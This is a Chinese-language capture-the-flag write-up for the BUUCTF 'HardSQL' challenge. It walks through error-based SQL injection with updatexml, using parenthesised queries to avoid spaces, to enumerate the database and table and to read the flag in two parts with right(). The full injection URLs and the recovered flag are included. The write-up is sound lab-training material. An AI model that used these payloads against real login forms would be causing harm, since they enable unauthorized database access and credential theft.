BUUCTF-[极客大挑战 2019]HardSQL 1

使用updatexml报错法注入

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

结果:geek

查表

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

结果:H4rDsq1

查字段

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

结果:flag~flag{9f09946d-4c83-40f5-98

看wp说用right()语句在查询后面部分 这样就可以了 又get到了新技能。。。。

只查到了一半再用left()right()语句查询拼接

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

结果:XPATH syntax error: '~3-40f5-9828-9593ee5f3f4c}~'

拼接后结果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}

原文地址:https://www.cnblogs.com/xiaobai141/p/14158469.html